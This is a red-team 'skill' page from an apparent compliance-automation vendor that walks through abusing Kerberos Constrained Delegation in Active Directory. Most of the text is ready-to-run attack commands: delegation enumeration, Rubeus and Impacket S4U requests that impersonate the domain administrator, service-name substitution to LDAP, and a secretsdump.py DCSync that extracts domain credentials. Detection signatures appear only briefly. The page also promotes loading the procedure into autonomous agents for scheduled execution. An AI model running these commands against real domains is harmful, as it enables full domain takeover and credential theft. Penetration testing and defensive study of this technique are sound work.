CG
SkillsExploiting Constrained Delegation Abuse
Start Free
Back to Skills Library
Red Team & Offensive Security🔴 Advanced

Exploiting Constrained Delegation Abuse

Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions for lateral movement and privilege escalation.

4 min read9 code examples5 MITRE techniques

MITRE ATT&CK Coverage

T1558.003T1550.003T1134.001T1078.002T1021

Exploiting Constrained Delegation Abuse

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

Objectives

  • Enumerate accounts with Constrained Delegation configured in the domain
  • Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
  • Exploit S4U2self and S4U2proxy to impersonate Domain Admin
  • Obtain service tickets for delegated services as a privileged user
  • Access delegated services (CIFS, LDAP, HTTP) on target hosts
  • Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1134.001 - Access Token Manipulation: Token Impersonation/Theft
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1021 - Remote Services

Implementation Steps

Phase 1: Enumerate Constrained Delegation

  1. Find accounts with Constrained Delegation using PowerView:

```powershell

# Find users with Constrained Delegation

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# Find computers with Constrained Delegation

Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# Using AD Module

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl

```

  1. Using Impacket findDelegation.py:

```bash

findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1

```

  1. Using BloodHound CE:

```cypher

MATCH (c) WHERE c.allowedtodelegate IS NOT NULL

RETURN c.name, c.allowedtodelegate

```

  1. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):

```powershell

# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol

```

Phase 2: Exploit with Rubeus (Windows)

  1. If you have the password or hash of the constrained delegation account:

```powershell

# Request TGT for the constrained delegation account

Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>

# Perform S4U2self + S4U2proxy to impersonate administrator

Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \

/msdsspn:CIFS/DC01.domain.local /ptt

# Alternative: specify alternate service name

Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \

/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt

```

  1. Combined TGT request and S4U in single command:

```powershell

Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \

/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt

```

Phase 3: Exploit with Impacket (Linux)

  1. Request service ticket via S4U protocol extensions:

```bash

# Using getST.py with S4U

getST.py -spn CIFS/DC01.domain.local -impersonate administrator \

-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

# Using hash instead of password

getST.py -spn CIFS/DC01.domain.local -impersonate administrator \

-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \

-dc-ip 10.10.10.1 domain.local/svc_sql

# Use the obtained ticket

export KRB5CCNAME=administrator.ccache

smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local

```

Phase 4: Alternate Service Name Abuse

  1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:

```bash

# Request CIFS ticket, then use it for LDAP (DCSync)

getST.py -spn CIFS/DC01.domain.local -impersonate administrator \

-altservice LDAP/DC01.domain.local \

-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

export KRB5CCNAME=administrator.ccache

secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

```

  1. This technique works because the service name in the ticket is not cryptographically bound to the session key

Phase 5: Protocol Transition Attack

  1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:

```bash

# S4U2self obtains a forwardable ticket without requiring the user to authenticate

# This means we can impersonate ANY user without their password

getST.py -spn CIFS/DC01.domain.local -impersonate administrator \

-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

```

  1. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

Tools and Resources

ToolPurposePlatform
RubeusS4U Kerberos ticket manipulationWindows (.NET)
getST.pyS4U service ticket requests (Impacket)Linux (Python)
findDelegation.pyDelegation enumeration (Impacket)Linux (Python)
PowerViewAD delegation enumerationWindows (PowerShell)
BloodHound CEVisual delegation path analysisDocker
KekeoAdvanced Kerberos toolkitWindows

Delegation Types Comparison

TypeAttributeScopeAttack Complexity
UnconstrainedTRUSTED_FOR_DELEGATIONAny serviceLow (capture TGTs)
ConstrainedmsDS-AllowedToDelegateToSpecific SPNsMedium (S4U abuse)
Constrained + Protocol Transition+ TRUSTED_TO_AUTH_FOR_DELEGATIONSpecific SPNsMedium (no user auth needed)
Resource-Based (RBCD)msDS-AllowedToActOnBehalfOfOtherIdentityOn targetMedium (writable attribute)

Detection Signatures

IndicatorDetection Method
S4U2self ticket requestsEvent 4769 with unusual service and impersonation
S4U2proxy forwarded ticketsEvent 4769 with delegation flags set
Alternate service name in ticketMismatch between requested SPN and actual service access
Rubeus.exe executionEDR process detection, command-line logging
Delegation configuration changesEvent 5136 for msDS-AllowedToDelegateTo modifications

Validation Criteria

  • [ ] Accounts with Constrained Delegation enumerated
  • [ ] Delegation targets (msDS-AllowedToDelegateTo) identified
  • [ ] S4U2self ticket obtained for target user
  • [ ] S4U2proxy ticket forwarded to delegation target
  • [ ] Privileged access to delegated service validated
  • [ ] Alternate service name substitution tested
  • [ ] Protocol transition capability assessed
  • [ ] Evidence documented with ticket exports and access proof

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
  • ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
  • NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
  • NIST CSF: ID.RA (Risk Assessment), PR.IP (Information Protection)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add exploiting-constrained-delegation-abuse

# Or load dynamically via MCP
grc.load_skill("exploiting-constrained-delegation-abuse")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add exploiting-constrained-delegation-abuse
// Or via MCP
grc.load_skill("exploiting-constrained-delegation-abuse")

Tags

red-teamactive-directorykerberosconstrained-delegations4u2proxyprivilege-escalationlateral-movement

Related Skills

Red Team & Offensive Security

Exploiting Active Directory Certificate Services Esc1

4m·advanced
Red Team & Offensive Security

Exploiting Nopac CVE 2021 42278 42287

4m·advanced
Red Team & Offensive Security

Conducting Internal Reconnaissance with BloodHound Ce

4m·intermediate
Red Team & Offensive Security

Conducting Pass the Ticket Attack

3m·intermediate
Red Team & Offensive Security

Performing Active Directory Forest Trust Attack

3m·intermediate
Red Team & Offensive Security

Exploiting Active Directory with BloodHound

3m·advanced

Skill Details

Domain
Red Team & Offensive Security
Difficulty
advanced
Read Time
4 min
Code Examples
9
MITRE IDs
5

On This Page

OverviewObjectivesMITRE ATT&CK MappingImplementation StepsTools and ResourcesDelegation Types ComparisonDetection SignaturesValidation CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free →